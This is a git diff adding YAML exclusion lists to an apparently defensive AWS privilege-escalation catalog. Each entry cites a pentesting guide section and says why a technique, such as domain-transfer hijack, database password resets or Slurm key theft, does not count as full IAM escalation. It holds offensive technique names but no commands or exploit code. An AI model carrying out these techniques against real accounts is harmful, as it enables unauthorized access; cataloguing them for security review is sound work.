src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elasticache-privesc/README.md#elasticache + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#privilege-escalation-take-over-and-widen-an-rbac-user-with-elasticachemodifyuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elasticache-privesc/README.md#privilege-escalation-take-over-and-widen-an-rbac-user-with-elasticachemodifyuser + technique: elasticache:ModifyUser + reason: Cache data-plane (Valkey/Redis RBAC user) takeover; the cache user is not an AWS principal and no IAM privileges are obtained. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md#amazon-macie + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-post-exploitation/README.md#post-exploitation-replace-an-acl-users-password-with-memorydbupdateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-memorydb-user-reset-privesc/README.md#post-exploitation-replace-an-acl-users-password-with-memorydbupdateuser + technique: memorydb:UpdateUser + reason: Database ACL user password reset; data-plane access only, the MemoryDB user is not an AWS principal. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-odb-privesc/README.md#oracle-databaseaws + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-odb-post-exploitation/README.md#odbupdateautonomousdatabase--reset-the-oracle-admin-credential-and-weaken-connection-controls + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-odb-privesc/README.md#odbupdateautonomousdatabase--reset-the-oracle-admin-credential-and-weaken-connection-controls + technique: odb:UpdateAutonomousDatabase + reason: Oracle ADMIN database credential reset; database-level access, no AWS account permissions obtained. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-opensearch-serverless-privesc/README.md#opensearch-service + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-opensearch-serverless-privesc/README.md#aosscreateaccesspolicy + technique: aoss:CreateAccessPolicy / UpdateAccessPolicy + reason: Self-grant of collection data access through an additive data access policy; data access within the service, no other principal's privileges (Least Privilege finding). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptography + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptographyputresourcepolicy + technique: payment-cryptography:PutResourcePolicy + reason: Self-grant of key usage through the key resource policy; bounded to that key's cryptographic operations, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#alias-policy-pivot-with-payment-cryptographyupdatealias + technique: payment-cryptography:UpdateAlias + alias-scoped data-plane permission + reason: Extends the source's own alias-scoped key permission to another key; key usage only, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#private-ca-connector-for-active-directory + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplategroupaccesscontrolentry--grant-enrollment-to-an-attacker-chosen-ad-group + technique: pca-connector-ad:CreateTemplateGroupAccessControlEntry + reason: Opens enrollment on an existing template only; on its own it grants no new identity, and it is the enrollment requirement of aws-pca-connector-ad-createtemplate-esc1 (CreateTemplate + CreateTemplateGroupAccessControlEntry). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#amazon-application-recovery-controller-region-switch + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#arc-region-switchstartplanexecution--force-a-region-switch-availability--traffic-hijack + technique: arc-region-switch:StartPlanExecution + reason: Runs an existing plan as written; disruption/traffic redirection only, the source does not choose the actions or the role. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resilience-hub-privesc/README.md#resilience-hub + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resilience-hub-privesc/README.md#resiliencehubcreatetest-iampassrole-resiliencehubstarttestrun---execute-managed-fis-faults-as-a-passed-role + technique: resiliencehub:CreateTest + iam:PassRole + resiliencehub:StartTestRun + reason: Runs AWS-managed fault-injection templates with fixed actions; disruptive impact only (no arbitrary FIS template or SSM command), out of scope as disruption. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resource-explorer-view-privesc/README.md#resource-explorer + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resource-explorer-view-privesc/README.md#resource-explorer-2updateview--widen-existing-and-default-view-access + technique: resource-explorer-2:UpdateView + reason: Widens resource-metadata visibility of a view; reconnaissance only, no privileges gained. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-domains-post-exploitation/README.md#route53domainstransferdomaintoanotherawsaccount--transfer-domain-registration-to-an-attacker-account + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53domainstransferdomaintoanotherawsaccount--transfer-domain-registration-to-an-attacker-account + technique: route53domains:TransferDomainToAnotherAwsAccount + reason: Domain registration hijack to another account; asset takeover, not another principal's privileges. + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-credential-brokers-privesc/README.md#s3 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3-express-and-s3-access-grants-credential-brokers + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-credential-brokers-privesc/README.md#s3-express-and-s3-access-grants-credential-brokers + technique: s3express:CreateSession / s3:GetDataAccess + reason: Credential vending for data access the source is already granted (bucket session or existing grant); data access only, no escalation beyond existing grants. The location-creation variant is aws-s3-accessgrants-passrole-location-getdataaccess. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-files-post-exploitation/README.md#s3-files + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3-files + historical_source_revision: 171e422299 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-tables-privesc/README.md#s3-tables + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-tables-privesc/README.md#self-grant-access-through-a-table-or-table-bucket-policy + technique: s3tables:PutTablePolicy / PutTableBucketPolicy + reason: Self-grant through a table/table-bucket resource policy; data access within that resource, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-vectors-privesc/README.md#s3-vectors + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-vectors-privesc/README.md#s3vectorsputvectorbucketpolicy---self-grant-vector-bucketindex-access + technique: s3vectors:PutVectorBucketPolicy + reason: Self-grant through a vector-bucket resource policy; data access within that bucket, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowball-edge-job-management + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-snowball-privesc/README.md#snowball-edge-job-management + historical_source_revision: 171e422299 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#aws-transfer-family + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#host-keys-are-not-a-standalone-privilege-escalation + technique: transfer:ImportHostKey + reason: Server host-key injection; integrity/impersonation risk only with separate routing control, not privilege escalation (as the page states). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#verified-permissions + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#create-or-modify-a-permissive-cedar-policy + technique: verifiedpermissions:CreatePolicy / UpdatePolicy / policy templates + reason: Application-level authorization change in a Cedar policy store; no AWS IAM privileges unless the application maps decisions to AWS operations (app-specific). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-verified-permissions-post-exploitation/README.md#redirect-token-trust-with-updateidentitysource + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#redirect-token-trust-with-updateidentitysource + technique: verifiedpermissions:UpdateIdentitySource / CreateIdentitySource + reason: Application-level principal impersonation in the policy store; no AWS principal reached. + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-verified-permissions-post-exploitation/README.md#rebind-a-policy-store-alias-to-a-permissive-store + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#rebind-a-policy-store-alias-to-a-permissive-store + technique: verifiedpermissions:DeletePolicyStoreAlias + CreatePolicyStoreAlias + reason: Application-level authorization redirection; no AWS principal reached. + source_revision: fd7d56b0a9 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g7.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g7.yaml new file mode 100644 index 0000000000..44ec30a739 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g7.yaml @@ -0,0 +1,123 @@ +# Catalog refresh (hacktricks-cloud 171e422299), group 7: end-user computing, IoT, media, business apps and misc services. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfig + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appconfig-privesc/README.md#appconfig + historical_source_revision: 171e422299 + technique: AppConfig + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#amazon-appstream-20 + technique: AppStream 2.0 + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamupdatestack--streaming-url--agentaccess-mcp--headless-desktop-control + technique: appstream:UpdateStack + streaming URL (agent access) + reason: 'Variant of the streaming-session entries (aws-appstream-createstreamingurl-existing-fleet): enabling headless agent access on a stack still yields the fleet role through a session.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateentitlement--updateentitlement--grant-a-saml-identity-every-stack-application + technique: appstream:CreateEntitlement / UpdateEntitlement + reason: Grants SAML users application entitlements on a stack; the fleet role reach is the same as the streaming-session entries and requires a federated user session, not an AWS principal escalation + by itself. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-braket-privesc/README.md#amazon-braket + technique: Braket + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-budgets-privesc/README.md#budgets + technique: Budgets + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chatbot-privesc/README.md#chatbot + technique: Chatbot + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chime-sdk + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#chime-sdk + historical_source_revision: 171e422299 + technique: Chime SDK + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#capture-or-externally-relay-an-active-meeting + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#chimecreatemediacapturepipeline--optional-iampassrole + historical_source_revision: 171e422299 + technique: chime:CreateMediaCapturePipeline (+ iam:PassRole) + reason: Meeting capture into S3; the sink role is a constrained S3/KMS proxy, not an escalation to the role. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-cases-privesc/README.md#casestagresource--casesuntagresource-plus-tag-conditioned-cases-permissions + technique: cases:TagResource / UntagResource (ABAC) + reason: Only the exact Cases domain Access=Operator tag change unlocking PutCaseEventConfiguration with reviewed before/after access is active as aws-cases-tagresource-domain-event-self-grant. UntagResource, other actions and multi-resource variants remain unproven. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadline-cloud + technique: Deadline Cloud + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#fleet-role-read-credentials + technique: deadline:AssumeFleetRoleForRead + reason: Vends the read-scoped fleet role credentials used for monitoring; reduced read access, not the fleet role. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#device-farm + technique: Device Farm + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dlm-privesc/README.md#amazon-data-lifecycle-manager + technique: Data Lifecycle Manager + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-entity-resolution-post-exploitation/README.md + technique: Entity Resolution (whole page) + reason: 'Bounded data-movement deputy: workflows only read Glue/S3 inputs and write S3 output with the passed role; no code execution or credentials.' + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gamelift-streams + technique: GameLift Streams + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md + technique: Invoicing and Billing (whole page) + reason: The page states there is no IAM role escalation primitive; techniques are billing-data disclosure, legacy billing access enablement and invoice delegation. + source_revision: d11f0e7012 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-core-privesc/README.md#privilege-escalation-iotcreaterolealias--iampassrole--vend-any-iam-role-via-the-iot-credential-provider + technique: iot:CreateRoleAlias + iam:PassRole + reason: Duplicate of aws-iot-privesc (catalog entry aws-iot-passrole-rolealias-certificate). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iot-core + technique: IoT Core + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreateprovisioningtemplate--iampassrole--iotcreateprovisioningclaim--self-replenishing-fleet-of-attacker-certificates + technique: iot:CreateProvisioningTemplate + iam:PassRole + CreateProvisioningClaim + reason: The provisioning role only registers things and certificates; it yields device certificates (persistence), and role access still goes through a role alias (covered entry). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#permissionless-discovery-fallbacks + technique: MediaPackage discovery fallbacks + reason: Enumeration notes; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-orchestrator-privesc/README.md#migration-hub-orchestrator + technique: Migration Hub Orchestrator + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-privesc/README.md#application-discovery-service--migration-hub + technique: Application Discovery Service & Migration Hub + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-q-business-post-exploitation/README.md + technique: Q Business (whole page) + reason: Plugin hijack yields actions in connected SaaS systems; no AWS principal obtained. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md + technique: Timestream (whole page) + reason: Scheduled-query roles only run Timestream SQL and write to Timestream/SNS/S3 error reports; bounded data delegation. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#directory-services--workdocs + technique: Directory Services / WorkDocs + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workspaces-appstream-privesc/README.md + technique: WorkSpaces Applications redirect page + reason: Points to the AppStream page (covered by appstream.yaml). + source_revision: d11f0e7012 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workspaces-privesc/README.md#workspaces + technique: WorkSpaces + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml new file mode 100644 index 0000000000..539baec04d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml @@ -0,0 +1,20 @@ +# Credential claims without an exact full principal or permission target. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudwatch-omni-privesc/README.md#cloudwatchgetspacecredentialsfororganization--obtain-member-account-space-credentials + technique: aws-cloudwatch-omni-getspacecredentialsfororganization + reason: The returned operator credentials are restricted to one CloudWatch Omni space and do not expose the full + target IAM role permissions; the edge overclaims a role takeover. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#getenvironmentcredentials-as-a-custom-environment-role + technique: aws-datazone-getenvironmentcredentials + reason: DataZone vends a session explicitly narrower than the associated IAM role (role chaining removed), while + the entry targets the full role. Project membership is also not collected. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#associateenvironmentrole--iampassrole + technique: aws-datazone-passrole-associateenvironmentrole + reason: The DataZone credential session excludes role chaining and project-level authorization is not collected. + A full passable-role edge is not established. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pcs-post-exploitation/README.md#pcsgetcluster-secretsmanagergetsecretvalue--steal-the-slurm-scheduler-authentication-key + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pcs-privesc/README.md#pcsgetcluster-secretsmanagergetsecretvalue--steal-the-slurm-scheduler-authentication-key + source_revision: 3ad99dc7ac + technique: aws-pcs-getcluster-slurm-secret-node-roles + reason: The PCS secret ARN is matched account-wide as pcs!* and target roles are inferred only from instance-profile + naming. No exact cluster-to-secret-to-queue-to-node-group-to-role join or accepted job/code-execution evidence + is evaluated. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml new file mode 100644 index 0000000000..09a462ac05 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml @@ -0,0 +1,55 @@ +# These entries asserted a full IAM role or principal path without proof of that identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appconfig-privesc/README.md#appconfigcreateconfigurationprofile--iampassrole--deploymentread-permissions + technique: aws-appconfig-passrole-createconfigurationprofile + reason: AppConfig uses the passed role only to fetch specified configuration bytes; the source receives no role + session or general role permissions. +- source: src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md#metadata + technique: aws-lightsail-imds-verified-role + reason: The source is an unmodeled local-host foothold with no principal permission or action; requires host access, + and cannot establish an IAM-principal-to-role edge from the catalog. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdsmodifydbinstance + technique: aws-rds-modifydbinstance-master-password-associated-roles + reason: A database admin password enables only engine integrations such as specific S3/Lambda operations; it does + not yield an associated IAM role session or full role permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#out-of-band-sql-via-rds-data-api-by-enabling-http-endpoint--resetting-master-password + technique: aws-rds-modifydbcluster-master-password-associated-roles + reason: Aurora master access enables only configured SQL integrations; the associated IAM role is not assumed + by the source. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#read-the-rds-managed-master-password-from-secrets-manager-rdsdescribedb--secretsmanagergetsecretvalue + technique: aws-rds-managed-master-secret-associated-roles + reason: Reading the database master secret yields DB access, not credentials for the associated IAM role; any + SQL integration effect is limited and must be modeled separately. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshift + technique: aws-redshift-modifycluster-master-password + reason: Redshift admin access enables only configured SQL integrations; attached IAM role credentials and unrestricted + role permissions are not obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshiftgetclustercredentials + technique: aws-redshift-getclustercredentials + reason: Vended database credentials and SQL ASSUMEROLE grants are not the attached IAM role session or its full + IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshiftgetclustercredentialswithiam + technique: aws-redshift-getclustercredentialswithiam + reason: IAM-mapped database credentials grant database/SQL integration rights, not the attached IAM role session + or full IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshift-serverlessgetcredentials + technique: aws-redshift-serverless-getcredentials + reason: Serverless database credentials grant database/SQL integration rights, not the namespace role session + or full IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#iampassrole-s3createaccessgrantslocation-s3createaccessgrant-s3getdataaccess + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#iampassrole-s3createaccessgrantslocation-s3createaccessgrant-s3getdataaccess + source_revision: 3ad99dc7ac + technique: aws-s3-accessgrants-passrole-location-getdataaccess + reason: GetDataAccess vends credentials restricted by an S3 grant session policy; modeling the full passed IAM + role as reached overstates the target permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballcreatejob--iampassrole--create-a-physical-s3-export-through-a-privileged-role + technique: aws-snowball-passrole-createjob + reason: The passed role is used only for a physical S3 export job; the source receives data, not the role identity + or IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballupdatejob--make-an-existing-snow-role-export-additional-s3-data-to-another-address + technique: aws-snowball-updatejob-existing-role + reason: Retargeting a physical export job discloses selected S3 data but does not yield the stored role identity + or IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statessendtasksuccess--inject-callback-output-into-a-privileged-next-state + technique: aws-stepfunctions-activity-callback-output-injection + reason: A forged callback can influence one workflow branch, but the entry does not prove access to the execution + role credentials or new effective principal permissions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_secondary_bounded_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_secondary_bounded_role_overclaim_20261016.yaml new file mode 100644 index 0000000000..0d13612127 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_secondary_bounded_role_overclaim_20261016.yaml @@ -0,0 +1,44 @@ +# Additional role targets whose service execution is bounded by a fixed configuration or file/SQL session. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#hijack-resolver-function-or-data-source-behavior + technique: aws-appsync-updateresolver-existing-datasource-role + reason: Only HTTP data sources with IAM authorization can sign arbitrary AWS API calls. This entry targets every + existing AppSync data-source role, including DynamoDB/OpenSearch/RDS/EventBridge backends whose role use is + bounded; reauthor an exact HTTP selector and invocation proof. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datasync-privesc/README.md#datasyncupdatelocations3-datasyncstarttaskexecution-iampassrole--replace-a-stored-location-role + technique: aws-datasync-updatelocations3-starttaskexecution + reason: The fixed bucket and destination limit the effect to a selected S3 copy, not the full passable DataSync + role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipes-privesc/README.md#pipescreatepipe-or-updatepipe--iampassrole + technique: aws-pipes-passrole-createpipe-or-updatepipe + reason: Pipes can only read supported sources and invoke configured enrichment/targets; the entry itself says + arbitrary role API calls are unavailable. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipe-stored-role-privesc/README.md#pipesstartpipe--execute-a-stopped-pipe-with-its-stored-role + technique: aws-pipes-startpipe-stored-role + reason: Starting a fixed pipe triggers only its stored source/enrichment/target operations and does not yield + its role or new general permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdsaddroletodbcluster-iampassrole + technique: aws-rds-addroletodbcluster-passrole + reason: Adding a role to a DB cluster enables only engine-specific SQL integrations; the source does not receive + the full passed role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdsaddroletodbinstance-iampassrole + technique: aws-rds-addroletodbinstance-passrole + reason: Adding a role to a DB instance enables only engine-specific SQL integrations; the source does not receive + the full passed role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rds-dbconnect + technique: aws-rds-dbconnect-iam-auth-associated-roles + reason: IAM DB authentication grants a database session and configured SQL integration actions, not the associated + IAM role session or full permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartautomationexecution--execute-a-preauthorized-runbook-role + technique: aws-ssm-startautomationexecution-stored-role + reason: Starting a fixed Automation runbook triggers only its stored steps; the source does not receive the hardcoded + role session. A policy-attachment step should be modeled as an exact added permission. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferimportsshpublickey--impersonate-a-service-managed-user + technique: aws-transfer-importsshpublickey + reason: Transfer Family supplies only session-policy/home-directory-limited file access; the entry explicitly + says no AWS API credentials are obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#secretsmanagerputsecretvalue--poison-a-secrets-manager-backed-custom-idp-user + technique: aws-transfer-secret-backed-idp-record + reason: A custom IdP record can select a Transfer role for a file session, but does not give broad IAM role permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferupdateserver-lambdaupdatefunctioncode-or-api-gateway-response-writes--take-over-a-custom-identity-provider + technique: aws-transfer-custom-idp-takeover + reason: Controlling the custom IdP response selects a Transfer file-session role, not a general IAM role session. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..b7e70574bb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_strict_reaudit_20261016.yaml @@ -0,0 +1,63 @@ +# Prior active entries archived in docs/privesc-ledgers/aws-scope-archive-20261016/sso-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssoputinlinepolicytopermissionset-ssoprovisionpermissionset + source_revision: 171e422299 + technique: Add an inline policy to a permission set and re-provision it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment 